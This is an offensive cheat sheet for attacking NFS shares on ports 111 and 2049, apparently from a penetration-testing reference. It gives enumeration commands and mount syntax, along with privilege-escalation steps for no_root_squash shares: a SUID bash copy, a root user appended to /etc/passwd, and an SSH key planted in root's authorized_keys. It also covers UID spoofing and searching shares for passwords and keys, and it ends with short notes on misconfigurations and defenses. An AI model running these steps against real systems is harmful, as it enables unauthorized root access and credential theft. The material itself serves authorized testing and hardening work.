NFS (Port 111, 2049) Enumerate and exploit Network File System (NFS) shares to access remote file systems and escalate privileges. NFS allows mounting remote directories over the network, commonly used in Unix/Linux environments for file sharing.
Quick Reference Show Available Shares
Mount NFS Share mkdir /mnt/nfsmount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock
Enumeration Nmap Scripts nmap -p111,2049 --script nfs-* 10.10.10.10 nmap -p111 --script rpcinfo 10.10.10.10 nmap -p111 --script nfs-ls,nfs-showmount,nfs-statfs 10.10.10.10
showmount showmount -e 10.10.10.10 showmount -a 10.10.10.10 showmount -d 10.10.10.10
rpcinfo rpcinfo -p 10.10.10.10 rpcinfo -s 10.10.10.10
Mounting NFS Shares Basic Mount mkdir /mnt/nfsmount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock mount -t nfs -o vers=3,nolock 10.10.10.10:/share /mnt/nfs
Mount Options mount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock,ro mount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock,soft mount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock,port=2049
Unmount umount /mnt/nfs umount -f /mnt/nfs umount -l /mnt/nfs
Privilege Escalation via NFS no_root_squash Exploitation Check for no_root_squash cat /etc/exports/share *(rw,no_root_squash,insecure)
Exploit no_root_squash mkdir /mnt/nfsmount -t nfs 10.10.10.10:/share /mnt/nfs cp /bin/bash /mnt/nfs/bashchmod +s /mnt/nfs/bash/share/bash -p
Alternative: Create Root User mount -t nfs 10.10.10.10:/share /mnt/nfs echo 'root2:x:0:0:root:/root:/bin/bash' >> /mnt/nfs/etc/passwdmkdir -p /mnt/nfs/root/.sshcat ~/.ssh/id_rsa.pub >> /mnt/nfs/root/.ssh/authorized_keys
UID/GID Manipulation List Files with UIDs
Match UID/GID useradd -u 1000 tempuser su tempuser cat /mnt/nfs/file.txt
Configuration File cat /etc/exports/share 10.10.10.0/24(rw,sync ,no_subtree_check) /data *(ro,all_squash) /backup 10.10.10.5(rw,no_root_squash,insecure)
Dangerous Settings Export Options
Option
Description
rw
Read and write permissions
ro
Read-only permissions
no_root_squash
Root on client has root privileges on share (dangerous!)
root_squash
Map root UID to anonymous UID (default, safer)
all_squash
Map all UIDs to anonymous UID
insecure
Allow connections from ports above 1024
nohide
Export subdirectories independently
sync
Write changes to disk before responding
async
Write changes asynchronously (faster but risky)
NFS Enumeration use auxiliary/scanner/nfs/nfsmount set RHOSTS 10.10.10.10run
Common Workflow Full NFS Enumeration and Exploitation nmap -p111,2049 10.10.10.10 showmount -e 10.10.10.10 mkdir /mnt/nfsmount -t nfs 10.10.10.10:/share /mnt/nfs -o nolock ls -la /mnt/nfs/ls -n /mnt/nfs/find /mnt/nfs/ -type f -name "*.txt" -o -name "*.conf" -o -name "*.key" grep -r "password" /mnt/nfs/ 2>/dev/null cp /bin/bash /mnt/nfs/bashchmod +s /mnt/nfs/bashumount /mnt/nfs
Notes no_root_squash Exploitation:
Most dangerous NFS misconfiguration
Allows root on client to have root privileges on share
Can create SUID binaries or modify system files
Default is root_squash which maps root to nobody
UID/GID Mapping:
NFS uses numeric UIDs/GIDs, not usernames
UID 1000 on client = UID 1000 on server
Can create users with matching UIDs to access files
Use ls -n to see numeric UIDs instead of usernames
Security Considerations:
NFS has no built-in encryption (use NFSv4 with Kerberos)
Authentication based on IP address and UID/GID
Easily spoofed if not properly configured
Should be restricted to trusted networks only
Common Misconfigurations:
Exporting to wildcard (*) instead of specific IPs
Using no_root_squash unnecessarily
Allowing insecure ports (above 1024)
Not using firewalls to restrict NFS access
Exporting sensitive directories
Enumeration Tips:
Check /etc/exports for configuration
Look for no_root_squash in exports
List files with ls -n to see UIDs
Search for SSH keys, credentials, and config files
Check for writable directories
Look for backup files and databases
Ports:
Port 111 - RPC portmapper (used to discover NFS port)
Port 2049 - NFS service (default)
Additional random ports for NFS services